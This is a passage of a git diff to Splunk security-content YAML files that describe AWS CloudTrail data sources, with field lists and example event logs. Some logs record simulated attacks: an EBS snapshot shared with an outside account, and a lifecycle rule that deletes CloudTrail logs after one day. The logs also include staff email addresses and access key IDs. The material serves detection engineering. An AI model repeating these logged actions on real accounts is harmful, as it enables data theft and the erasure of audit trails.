false, "performanceInsightsEnabled": true, "performanceInsightsKMSKeyId": "arn:aws:kms:us-west-2:111111111111:key/318bcd5d-c453-489d-b63a-07753eab0623", "performanceInsightsRetentionPeriod": 7, "deletionProtection": true, "associatedRoles": [], "httpEndpointEnabled": false, "tagList": [], "customerOwnedIpEnabled": false, "networkType": "IPV4", "backupTarget": "region"}, "requestID": "59e6b621-2f12-415b-bde4-21fa2dc7c113", "eventID": "46351ca1-760e-4eef-b3ff-19723e13fbf8", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "sessionCredentialFromConsole": "true"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:gowthamarajr@splunk.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/gowthamarajr@splunk.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLAKJDBQGB", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-08-05T08:47:55Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-08-05T09:19:15Z", "eventSource": "rds.amazonaws.com", "eventName": "ModifyDBInstance", "awsRegion": "us-west-2", "sourceIPAddress": "AWS Internal", "userAgent": "AWS Internal", "requestParameters": {"dBInstanceIdentifier": "database-1", "applyImmediately": true, "masterUserPassword": "****", "allowMajorVersionUpgrade": false, "deletionProtection": true}, "responseElements": {"dBInstanceIdentifier": "database-1", "dBInstanceClass": "db.m6g.large", "engine": "postgres", "dBInstanceStatus": "available", "masterUsername": "postgres", "endpoint": {"address": "database-1.ce6wk5bvtc0t.us-west-2.rds.amazonaws.com", "port": 5432, "hostedZoneId": "Z1PVIF0B656C1W"}, "allocatedStorage": 5, "instanceCreateTime": "Aug 5, 2022 9:02:51 AM", "preferredBackupWindow": "06:35-07:05", "backupRetentionPeriod": 7, "dBSecurityGroups": [], "vpcSecurityGroups": [{"vpcSecurityGroupId": "sg-46cfd020", "status": "active"}], "dBParameterGroups": [{"dBParameterGroupName": "default.postgres14", "parameterApplyStatus": "in-sync"}], "availabilityZone": "us-west-2a", "dBSubnetGroup": {"dBSubnetGroupName": "default", "dBSubnetGroupDescription": "default", "vpcId": "vpc-5f02343b", "subnetGroupStatus": "Complete", "subnets": [{"subnetIdentifier": "subnet-43225f35", "subnetAvailabilityZone": {"name": "us-west-2b"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-e55d7881", "subnetAvailabilityZone": {"name": "us-west-2a"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-0beddb972f034bdaa", "subnetAvailabilityZone": {"name": "us-west-2c"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-2d70cd75", "subnetAvailabilityZone": {"name": "us-west-2c"}, "subnetOutpost": {}, "subnetStatus": "Active"}]}, "preferredMaintenanceWindow": "sat:11:44-sat:12:14", "pendingModifiedValues": {"masterUserPassword": "****"}, "latestRestorableTime": "Aug 5, 2022 9:12:31 AM", "multiAZ": false, "engineVersion": "14.2", "autoMinorVersionUpgrade": true, "readReplicaDBInstanceIdentifiers": [], "licenseModel": "postgresql-license", "storageThroughput": 0, "optionGroupMemberships": [{"optionGroupName": "default:postgres-14", "status": "in-sync"}], "publiclyAccessible": false, "storageType": "standard", "dbInstancePort": 0, "storageEncrypted": true, "kmsKeyId": "arn:aws:kms:us-west-2:111111111111:key/318bcd5d-c453-489d-b63a-07753eab0623", "dbiResourceId": "db-IX2K4LYFLBVZDHBYNPEAVFHFQM", "cACertificateIdentifier": "rds-ca-2019", "domainMemberships": [], "copyTagsToSnapshot": true, "monitoringInterval": 60, "enhancedMonitoringResourceArn": "arn:aws:logs:us-west-2:111111111111:log-group:RDSOSMetrics:log-stream:db-IX2K4LYFLBVZDHBYNPEAVFHFQM", "monitoringRoleArn": "arn:aws:iam::111111111111:role/rds-monitoring-role", "dBInstanceArn": "arn:aws:rds:us-west-2:111111111111:db:database-1", "iAMDatabaseAuthenticationEnabled": false, "performanceInsightsEnabled": true, "performanceInsightsKMSKeyId": "arn:aws:kms:us-west-2:111111111111:key/318bcd5d-c453-489d-b63a-07753eab0623", "performanceInsightsRetentionPeriod": 7, "deletionProtection": true, "associatedRoles": [], "httpEndpointEnabled": false, "tagList": [], "customerOwnedIpEnabled": false, "networkType": "IPV4", "backupTarget": "region"}, "requestID": "59e6b621-2f12-415b-bde4-21fa2dc7c113", "eventID": "46351ca1-760e-4eef-b3ff-19723e13fbf8", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "sessionCredentialFromConsole": "true"} diff --git a/data_sources/aws_cloudtrail_modifyimageattribute.yml b/data_sources/aws_cloudtrail_modifyimageattribute.yml index 4d47df2492..415abd693e 100644 --- a/data_sources/aws_cloudtrail_modifyimageattribute.yml +++ b/data_sources/aws_cloudtrail_modifyimageattribute.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ModifyImageAttribute id: 667c2115-8082-419e-b541-8150066bda4d -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the attributes of an Amazon Machine Image (AMI) are modified. mitre_components: @@ -19,8 +19,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -55,6 +55,7 @@ fields: - requestID - requestParameters.attributeType - requestParameters.imageId + - requestParameters.launchPermission.add.items{}.group - requestParameters.launchPermission.add.items{}.userId - responseElements._return - responseElements.requestId @@ -69,7 +70,12 @@ fields: - start_time - timeendpos - timestartpos - - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -84,13 +90,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -103,4 +102,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:bonobo@bo.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/bonobo@bo.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLBHIEEEPN", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2023-03-23T19:27:44Z", "mfaAuthenticated": "false"}}}, "eventTime": "2023-03-23T21:47:28Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifyImageAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.245.10", "userAgent": "AWS Internal", "requestParameters": {"imageId": "ami-06dac31db29508566", "launchPermission": {"add": {"items": [{"userId": "1111111111111111"}]}}, "attributeType": "launchPermission"}, "responseElements": {"requestId": "84c431ce-6268-4218-aaf8-b4cdc1cd4055", "_return": true}, "requestID": "84c431ce-6268-4218-aaf8-b4cdc1cd4055", "eventID": "957e1b12-ea17-4006-aefd-20677ace72b8", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "sessionCredentialFromConsole": "true"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:bonobo@bo.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/bonobo@bo.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLBHIEEEPN", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2023-03-23T19:27:44Z", "mfaAuthenticated": "false"}}}, "eventTime": "2023-03-23T21:47:28Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifyImageAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.245.10", "userAgent": "AWS Internal", "requestParameters": {"imageId": "ami-06dac31db29508566", "launchPermission": {"add": {"items": [{"userId": "140429656527"}]}}, "attributeType": "launchPermission"}, "responseElements": {"requestId": "84c431ce-6268-4218-aaf8-b4cdc1cd4055", "_return": true}, "requestID": "84c431ce-6268-4218-aaf8-b4cdc1cd4055", "eventID": "957e1b12-ea17-4006-aefd-20677ace72b8", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "sessionCredentialFromConsole": "true"} diff --git a/data_sources/aws_cloudtrail_modifysnapshotattribute.yml b/data_sources/aws_cloudtrail_modifysnapshotattribute.yml index 1027f7c5f2..aa2c21fd37 100644 --- a/data_sources/aws_cloudtrail_modifysnapshotattribute.yml +++ b/data_sources/aws_cloudtrail_modifysnapshotattribute.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ModifySnapshotAttribute id: 7e5aa947-3a0d-4ee5-b800-0c10b555da05 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when modifications are made to the attributes of a snapshot in AWS CloudTrail. mitre_components: @@ -18,8 +18,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -33,12 +33,14 @@ fields: - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType + - eventtype - eventVersion - host - index @@ -49,14 +51,20 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.attributeType + - requestParameters.createVolumePermission.add.items{}.group - requestParameters.createVolumePermission.add.items{}.userId + - requestParameters.createVolumePermission.remove.items{}.group - requestParameters.snapshotId + - responseElements - responseElements._return - responseElements.requestId + - result + - result_id - signature - source - sourceIPAddress @@ -64,28 +72,37 @@ fields: - splunk_server - src - src_ip + - src_user - start_time + - tag + - tag::eventtype - timeendpos - timestartpos - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -98,4 +115,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:36Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifySnapshotAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d", "requestParameters": {"snapshotId": "snap-02effb3bb62786b18", "createVolumePermission": {"add": {"items": [{"userId": "012345678912"}]}}, "attributeType": "CREATE_VOLUME_PERMISSION"}, "responseElements": {"requestId": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "_return": true}, "requestID": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "eventID": "62e027d3-7191-48f4-b5fe-4b66c58b3008", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:36Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifySnapshotAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d", "requestParameters": {"snapshotId": "snap-02effb3bb62786b18", "createVolumePermission": {"add": {"items": [{"userId": "012345678912"}]}}, "attributeType": "CREATE_VOLUME_PERMISSION"}, "responseElements": {"requestId": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "_return": true}, "requestID": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "eventID": "62e027d3-7191-48f4-b5fe-4b66c58b3008", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_putbucketlifecycle.yml b/data_sources/aws_cloudtrail_putbucketlifecycle.yml index daa93d4c05..bea88ddbff 100644 --- a/data_sources/aws_cloudtrail_putbucketlifecycle.yml +++ b/data_sources/aws_cloudtrail_putbucketlifecycle.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail PutBucketLifecycle id: 1c73e954-87b6-4bd7-ac6a-5db7c4082b22 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a lifecycle configuration is added to an S3 bucket in AWS CloudTrail. mitre_components: @@ -19,14 +19,15 @@ supported_TA: fields: - _time - additionalEventData.AuthenticationMethod - - additionalEventData.CipherSuite - - additionalEventData.SignatureVersion - additionalEventData.bytesTransferredIn - additionalEventData.bytesTransferredOut + - additionalEventData.CipherSuite + - additionalEventData.SignatureVersion - additionalEventData.x-amz-id-2 - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -45,6 +46,7 @@ fields: - eventSource - eventTime - eventType + - eventtype - eventVersion - host - index @@ -60,16 +62,17 @@ fields: - recipientAccountId - region - requestID + - requestParameters.bucketName - requestParameters.Host + - requestParameters.lifecycle - requestParameters.LifecycleConfiguration.Rule.Expiration.Days + - requestParameters.LifecycleConfiguration.Rule.Filter - requestParameters.LifecycleConfiguration.Rule.Filter.Prefix - requestParameters.LifecycleConfiguration.Rule.ID - requestParameters.LifecycleConfiguration.Rule.Status - requestParameters.LifecycleConfiguration.xmlns - - requestParameters.bucketName - - requestParameters.lifecycle - - resources{}.ARN - resources{}.accountId + - resources{}.ARN - resources{}.type - responseElements - signature @@ -79,32 +82,42 @@ fields: - splunk_server - src - src_ip + - src_user - start_time + - tag + - tag::eventtype - timeendpos - timestartpos - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product - vendor_region + - vpcEndpointId output_fields: - dest - user @@ -113,4 +126,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-13T21:58:27Z", "eventSource": "s3.amazonaws.com", "eventName": "PutBucketLifecycle", "awsRegion": "us-west-2", "sourceIPAddress": "192.184.242.57", "userAgent": "[stratus-red-team_d73089cf-1905-430c-b6d3-4dc4d669190f]", "requestParameters": {"lifecycle": "", "bucketName": "my-cloudtrail-bucket-alfsujjpnbpguqrh", "LifecycleConfiguration": {"xmlns": "http://s3.amazonaws.com/doc/2006-03-01/", "Rule": {"Status": "Enabled", "Filter": {"Prefix": "*"}, "Expiration": {"Days": 1}, "ID": "nuke-cloudtrail-logs-after-1-day"}}, "Host": "my-cloudtrail-bucket-alfsujjpnbpguqrh.s3.us-west-2.amazonaws.com"}, "responseElements": null, "additionalEventData": {"SignatureVersion": "SigV4", "CipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "bytesTransferredIn": 249, "AuthenticationMethod": "AuthHeader", "x-amz-id-2": "TVXZE5kOVTMLqYlmKK+j/5g6flwkiFXFfw8PyNivFO4/9YXnDsyzFlGEzAy2rukTTiukLdEwtuM=", "bytesTransferredOut": 0}, "requestID": "1P8X27T2BCMY93Y9", "eventID": "25d92cd1-f366-4b11-b408-967a17ce70f3", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::S3::Bucket", "ARN": "arn:aws:s3:::my-cloudtrail-bucket-alfsujjpnbpguqrh"}], "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "my-cloudtrail-bucket-alfsujjpnbpguqrh.s3.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:pbareiss@splunk.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/pbareiss@splunk.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLM5HY7JVK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-07-20T10:51:41Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-07-20T10:52:35Z", "eventSource": "s3.amazonaws.com", "eventName": "PutBucketLifecycle", "awsRegion": "us-east-1", "sourceIPAddress": "95.90.195.57", "userAgent": "[S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.1030 Linux/5.4.196-119.356.amzn2int.x86_64 OpenJDK_64-Bit_Server_VM/25.302-b08 java/1.8.0_302 vendor/Oracle_Corporation cfg/retry-mode/standard]", "requestParameters": {"lifecycle": "", "bucketName": "cb-events-security-content-2", "LifecycleConfiguration": {"xmlns": "http://s3.amazonaws.com/doc/2006-03-01/", "Rule": {"Status": "Enabled", "Filter": "", "Expiration": {"Days": 1}, "ID": "delete_after_1_day"}}, "Host": "s3.amazonaws.com"}, "responseElements": null, "additionalEventData": {"SignatureVersion": "SigV4", "CipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "bytesTransferredIn": 209, "AuthenticationMethod": "AuthHeader", "x-amz-id-2": "RzbZZFJT/j4JjNhsI3LFzrohMJTjrRVRwl54CBzwglaNTlN6R4lPVs47mSu5STi62E1PRjGtPNY=", "bytesTransferredOut": 0}, "requestID": "J6JW719PEACSG3KW", "eventID": "4d407667-6627-49dd-8ed3-c3b008c7a1a5", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::S3::Bucket", "ARN": "arn:aws:s3:::cb-events-security-content-2"}], "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "vpcEndpointId": "vpce-f40dc59d", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "s3.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_putimage.yml b/data_sources/aws_cloudtrail_putimage.yml index d95a8e337f..511a797e6a 100644 --- a/data_sources/aws_cloudtrail_putimage.yml +++ b/data_sources/aws_cloudtrail_putimage.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail PutImage id: bb13f10d-0d8c-4fde-9136-b7cfd930e87c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a container image is uploaded to a repository in AWS CloudTrail. mitre_components: @@ -19,8 +19,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -30,7 +31,6 @@ fields: - date_wday - date_year - date_zone - - dest - dvc - errorCode - eventCategory @@ -57,8 +57,8 @@ fields: - requestParameters.imageTag - requestParameters.registryId - requestParameters.repositoryName - - resources{}.ARN - resources{}.accountId + - resources{}.ARN - responseElements.image.imageId.imageDigest - responseElements.image.imageId.imageTag - responseElements.image.imageManifest @@ -72,10 +72,17 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - timeendpos - timestartpos - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -87,13 +94,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -105,4 +105,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AAAAAAAAAAAAAAAAAAAAA", "arn": "arn:aws:iam::111111111111:user/test", "accountId": "111111111111", "accessKeyId": "AAAAAAAAAAAAAAAAAAAAA", "userName": "test", "sessionContext": {"sessionIssuer": {}, "webIdFederationData": {}, "attributes": {"creationDate": "2021-08-18T23:15:39Z", "mfaAuthenticated": "false"}}, "invokedBy": "AWS Internal"}, "eventTime": "2021-08-18T23:17:30Z", "eventSource": "ecr.amazonaws.com", "eventName": "PutImage", "awsRegion": "eu-central-1", "sourceIPAddress": "AWS Internal", "userAgent": "AWS Internal", "requestParameters": {"registryId": "111111111112", "repositoryName": "devsecops/cat_dog_server", "imageManifest": "{\n \"schemaVersion\": 2,\n \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"config\": {\n \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n \"size\": 6591,\n \"digest\": \"sha256:547fc07c53533763d68ebdfdc45529b1db45301d07824410bcc30df866d67df1\"\n },\n \"layers\": [\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2811969,\n \"digest\": \"sha256:540db60ca9383eac9e418f78490994d0af424aab7bf6d0e47ac8ed4e2e9bcbba\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 35426616,\n \"digest\": \"sha256:f4fa1ac42c97abe89e0cc807af0ae4b63fbec2a5209a75a7239d099702c7fd80\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2347076,\n \"digest\": \"sha256:2b3e10d0c87c453eed1378e102ff1cc17aa4e3eed2159b7505959777a6225059\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 280,\n \"digest\": \"sha256:43bd2fc3ba418e309449b8c82d723d9069ebb81863050dc0d6ad6e6ec0683808\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 92,\n \"digest\": \"sha256:803d6b58954d4daee18ed071281627f8214f3d2ba1b9a419ab8834029310942a\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 373,\n \"digest\": \"sha256:e664d5491b5c81e901a2293fbc025532a7cae0dcc75ce7418f854209aaa2474c\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2383293,\n \"digest\": \"sha256:b827c586a783ce490b79907607d535f99f42360b6ba86a4b2ac3e7f01542144d\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 10001,\n \"digest\": \"sha256:0dd85ef396bcaded88fab4a8079d6b8bd5e3f8cf7eeb9b93306ffdb63401ba0a\"\n }\n ]\n}", "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json", "imageTag": "latest"}, "responseElements": {"image": {"registryId": "111111111112", "repositoryName": "devsecops/cat_dog_server", "imageId": {"imageDigest": "sha256:b7798f35949cc1a2d435c9ac59ab69e857fe635a359c96e4f56a8498ce02019c", "imageTag": "latest"}, "imageManifest": "{\n \"schemaVersion\": 2,\n \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"config\": {\n \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n \"size\": 6591,\n \"digest\": \"sha256:547fc07c53533763d68ebdfdc45529b1db45301d07824410bcc30df866d67df1\"\n },\n \"layers\": [\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2811969,\n \"digest\": \"sha256:540db60ca9383eac9e418f78490994d0af424aab7bf6d0e47ac8ed4e2e9bcbba\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 35426616,\n \"digest\": \"sha256:f4fa1ac42c97abe89e0cc807af0ae4b63fbec2a5209a75a7239d099702c7fd80\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2347076,\n \"digest\": \"sha256:2b3e10d0c87c453eed1378e102ff1cc17aa4e3eed2159b7505959777a6225059\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 280,\n \"digest\": \"sha256:43bd2fc3ba418e309449b8c82d723d9069ebb81863050dc0d6ad6e6ec0683808\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 92,\n \"digest\": \"sha256:803d6b58954d4daee18ed071281627f8214f3d2ba1b9a419ab8834029310942a\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 373,\n \"digest\": \"sha256:e664d5491b5c81e901a2293fbc025532a7cae0dcc75ce7418f854209aaa2474c\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2383293,\n \"digest\": \"sha256:b827c586a783ce490b79907607d535f99f42360b6ba86a4b2ac3e7f01542144d\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 10001,\n \"digest\": \"sha256:0dd85ef396bcaded88fab4a8079d6b8bd5e3f8cf7eeb9b93306ffdb63401ba0a\"\n }\n ]\n}", "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json"}}, "requestID": "805a31e6-0fed-433b-b393-f463c6881334", "eventID": "1aef3588-ae84-4f1f-9276-8ec94ee6a7e9", "readOnly": false, "resources": [{"accountId": "111111111111", "ARN": "arn:aws:ecr:eu-central-1:1111111111111:repository/devsecops/cat_dog_server"}], "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AAAAAAAAAAAAAAAAAAAAA", "arn": "arn:aws:iam::111111111111:user/test", "accountId": "111111111111", "accessKeyId": "AAAAAAAAAAAAAAAAAAAAA", "userName": "test", "sessionContext": {"sessionIssuer": {}, "webIdFederationData": {}, "attributes": {"creationDate": "2021-08-18T23:15:39Z", "mfaAuthenticated": 